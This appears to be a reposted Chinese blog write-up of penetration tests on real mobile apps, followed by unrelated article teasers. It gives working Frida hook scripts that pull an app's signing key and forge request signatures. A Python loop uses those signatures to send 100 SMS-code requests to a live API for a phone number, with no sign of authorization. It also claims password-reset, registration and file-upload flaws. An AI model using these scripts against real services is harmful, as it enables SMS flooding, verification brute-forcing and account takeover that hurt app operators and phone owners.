一些真实的app渗透与算法hook

news2024/12/25 9:22:45

app1

apk文件下载到电脑,adb install 安装到真机上,打开是一个注册页面

在这里插入图片描述

真机把SocksDroid打开,随便输个电话号,电脑开charles抓包:

在这里插入图片描述

我们放到burp重发器里,改参数重发,不出意外,果然做了签名校验不让改包:

在这里插入图片描述
ok,逆一下这个apk,找到算法hook掉就好了,定位一下特征:

在这里插入图片描述
在这里插入图片描述
这个函数是发送请求的一个函数,我们观察一下这段代码,可以看到我们最终发出去的sign参数的组成是:(时间 + 类型 + 未知字符 + 手机号),并且这个未知字符是这个函数的一个参数,那好办了。
直接hook这个getSmscode函数,看看传来了哪些值,就可以得到这个未知字符,有了这个未知字符我们就可以构建sign

真机开下frida服务端,做一下端口转发:
在这里插入图片描述

hook代码:

import frida
import sys
def on_message(message,data):
    print(message)
sess = frida.get_remote_device()
nsess=sess.attach('app名字')
with open('./bk.js') as f:
    script = nsess.create_script(f.read())
script.on('message',on_message)
script.load()
sys.stdin.read()
Java.perform(function(){
    Java.use('com.jx885.library.http.CommAction').getSmscode.implementation=function(aa,bb,cc){
        console.log("hook success");
        console.log("type:"+aa,"key:"+bb,"phone:"+cc);
        return this.getSmscode(aa,bb,cc);
    }
});

hook代码执行监听,手机重新发注册的包,成功监控到:
在这里插入图片描述
未知字符找到了,我们用getStringMD5toUpperCase(yyyyMMddHHmmss + i + str + str2) 自己先算一组数据验证下,没有错误:

在这里插入图片描述

这回函数需要的参数我们都拥有了,我们直接通过frida的rpc来调用这个函数,直接给我们生成sign , 并简单写个发送请求的脚本,直接实现一条龙。
hook代码:

import frida
import time
import datetime
import requests
url = 'http://xxxxxx/Appapi/Common/getSmscode'
sess = frida.get_remote_device()
nsess=sess.attach('app名字')
phone = '15149029981'
type1 = '1'

def on_message(message,data):
    print(message)


with open('./demo1.js') as f:
    script = nsess.create_script(f.read())
script.on('message',on_message)
script.load()
for i in range(100):
    curr_time = datetime.datetime.now()
    timestamp=datetime.datetime.strftime(curr_time,'%Y%m%d%H%M%S')
    print(timestamp)
    time.sleep(1)
    sign = script.exports.getsign(f'{timestamp}{type1}wocaonima{phone}')
    print(sign)
    dd = '"phone":"{0}","sign":"{1}","currTime":"{2}","type":"1"'.format(phone,sign,timestamp)
    nd = '{'+dd+'}'
    print('hook success:'+nd)
    userjson={'userjson':nd}
  
    talk = requests.post(url=url,data=userjson)
    print("发送成功")
function sign(s){
    var res = '';
    Java.perform(function(){
        res = Java.use('com.jx885.library.http.network.HttpUtils').getStringMD5toUpperCase(s);

    })
    return res
}

rpc.exports={
    getsign:sign
};

第一个漏洞:验证码爆破

在这里插入图片描述

结果:
在这里插入图片描述

第二个漏洞:任意用户密码重置
结果
在这里插入图片描述

第三个漏洞:任意用户注册与手机绑定
结果
在这里插入图片描述

第四个漏洞:任意文件上传
结果
在这里插入图片描述

app2

同样adb install安装到真机中,打开app,首页就是登录注册页面:

在这里插入图片描述
charles加socksdroid抓一个注册的包,并放到burp的重发器中重发看看,发送的信息是加密的,但我这里发现了一个很有意思的一个点,就是每次我们点获取验证码的时候,我们快速重发,会收到短信,感觉应该存在短信轰炸漏洞,只不过加密时有时间戳,导致过了这个时间段就不行了:
在这里插入图片描述
在这里插入图片描述
我们逆一下这个app,试试找到他的加密算法,

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1024613.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

低代码开发平台的优点和缺点

随着数字化转型的加速,企业需要更快速地开发和交付应用程序,以适应市场需求和客户需求的变化。在这种情况下,低代码平台成为了企业的首选方案之一。 想象一下,你可以用一个可视化工具构建自己的应用程序,而无需编写繁琐…

面试官:Vue3.0 性能提升主要是通过哪几方面体现的?

🎬 岸边的风:个人主页 🔥 个人专栏 :《 VUE 》 《 javaScript 》 ⛺️ 生活的理想,就是为了理想的生活 ! 目录 一、编译阶段 diff算法优化 静态提升 事件监听缓存 SSR优化 二、源码体积 三、响应式系统 一、编译阶段 回顾…

jeecg-boot 基础使用

一 。 页面增加基础使用 先在数据库进行数据定义 然后在页面属性修改显示方式 保存 同步数据库 然后测试 没有问题 选取需要的数据然后生成代码 然后保存 效果 如果需要关联的话 视频 JeecgBoot低代码开发—零基础入门视频_哔哩哔哩_bilibili 文档 如何配置报表菜…

MQ - 07 基础篇_消费者客户端SDK设计(上)

文章目录 导图概述消费模型的选择Pull 模型1. 服务端 hold 住请求2. 服务端有数据的时候通知客户端Push 模型Broker 内置 Push 功能Broker 外独立实现 Push 功能的组件在客户端实现伪 Push 功能Pop 模型分区消费模式的设计独占消费共享消费广播消费灾备消费总结导图

【Linux系统编程】进程概念与基本创建

文章目录 1. 进程的概念2. 进程描述—PCB3. task_struct—PCB的一种4. task_ struct内容分类5. 查看进程 这篇文章我们来学习下一个概念——进程 1. 进程的概念 那什么是进程呢,我们该如何理解它呢? 如果我们打开电脑的任务管理: 我们看到这…

7.zigbee开发,低功耗,通信加密开发

一。低功耗 1.低功耗应用场景 1、不利于更换电池的设备 2、手持便携设备 3、实时性要求不高的设备 2.低功耗工作原理 1、时钟降至最低 2、暂时不用的外设关闭、需要在启动 3、I/O配置 用电情况可以简化为: 等一会运行一下。 3.zigbee实现低功耗 1.协调器路由器终端…

【性能优化上】第三方组织结构同步优化一,分状态,分步骤的设计,你 get 到了吗?

在工作中,云产品之间自然少不了各种系统的对接,系统对接自然会涉及到各种鉴权,以及需要将对方系统的组织结构同步到己方内部系统中来 当然,有的产品可能会去对接实际的第三方认证源和同步源,但是成本相对比较高&#…

【数据结构】对称二叉树 另一颗树的子树(六)

目录 一,对称二叉树 题目详情: 解题思路: 思路实现: 源代码: 二,另一颗树的子树 题目详情: 解题思路: 思路实现: 源代码: 前言: 接下来…

计算机视觉:从图像识别到深度学习

💂 个人网站:【工具大全】【游戏大全】【神级源码资源网】🤟 前端学习课程:👉【28个案例趣学前端】【400个JS面试题】💅 寻找学习交流、摸鱼划水的小伙伴,请点击【摸鱼学习交流群】 计算机视觉是人工智能领…

每日一面系列之volatile 的理解

volatile 是 Java 虚拟机提供的轻量级的同步机制,有三大特点:保证可见性;不保证原子性;禁止指令重排 保证可见性 当多个线程操作共享数据时,彼此是不可见的。由此提出 JMM (java 内存模型) J…

爬虫异常处理实战:应对请求频率限制和数据格式异常

作为一名资深的爬虫程序员,今天我要和大家分享一些实战经验,教你如何处理爬虫中的异常情况,包括请求频率限制和数据格式异常。如果你是一个正在进行网络爬虫开发的开发者,或者对异常处理感兴趣,那么这篇文章将帮助你更…

01强化学习的数学原理:大纲

01强化学习学习路线大纲 前言强化学习脉络图章节介绍Chapter 1:Basic ConceptsChapter 2:Bellman EquationChapter 3:Bellman Optimality EquationChapter 4:Value Iteration / Policy IterationChapter 5:Monte Carlo…

数据结构与算法--图

数据结构与算法--图 1 图的基本概念 2 无向图和有向图 3 图相关的关键术语 4 图的相关性质 5 图的存储 4.1 邻接表法 4.2 邻接矩阵法 6 图的代码表示 1 图的基本概念 图(Graph) 是由一个顶点集V和一个弧集E构成的网状数据结构,记作 G ( V , E ) G (V ,E…

RPC框架学习

一、设计目标 RPC 框架的目标就是让远程服务调用更加简单、透明,RPC 框架负责屏蔽底层的传输方式(TCP 或者 UDP)、序列化方式(XML/Json/ 二进制)和通信细节。服务调用者可以像调用本地接口一样调用远程的服务提供者&a…

多线程知识汇总

IntentService 多线程的应用在Android 开发中是非常常见的,常用方法主要有: 集成Thread类 实现Runnable接口 AsyncTask Handler HandlerThread IntentService IntentService 定义: Android 里的一个封装类,继承四大组件之一 ser…

Android 跨进程通信并传输复杂数据

前言 AIDL (Android Interface Definition Language) 支持以下数据类型: 基本数据类型:int、long、float、double、boolean、char、byte。 字符串类型:String。 集合类型:List、Map、Set。 Parcelable 类型:实现了 Par…

linux 文件锁

建议锁,强制锁,记录锁的概念 建议锁: 如果某一个进程对一个文件持有一把锁之后,其他进程仍然可以直接对文件进行操作(open, read, write)而不会被系统禁止,即使这个进程没有持有锁。只是一种编程上的约定。建议锁只对遵守建议锁准则的进程生…

@JsonFormat、@JSONField、@DateTimeFormat详细解说

JsonFormat、JSONField、DateTimeFormat详细解说_jsonfield format_xinlianluohan的博客-CSDN博客 三者出处 1、JsonFormat来源于jackson,Jackson是一个简单基于Java应用库,Jackson可以轻松的将Java对象转换成json对象和xml文档,同样也可以…

CSS SASS calc() 计算表达式或使用变量

calc()是css的一个函数,可用于元素计算长度,比如div宽度想要减去一个固定宽度后并自适应,可以写为calc(100% - 60px) 注意“-”两边有空格 sass已经是常用的预编译语言,允许使用变量等规则,如果…

上海亚商投顾:沪指窄幅震荡微跌 两市成交金额创年内新低

上海亚商投顾前言:无惧大盘涨跌,解密龙虎榜资金,跟踪一线游资和机构资金动向,识别短期热点和强势个股。 一.市场情绪 沪指昨日窄幅震荡,创业板指盘中跌超1%,黄白二线有所分化。华为星闪概念股午后拉升&…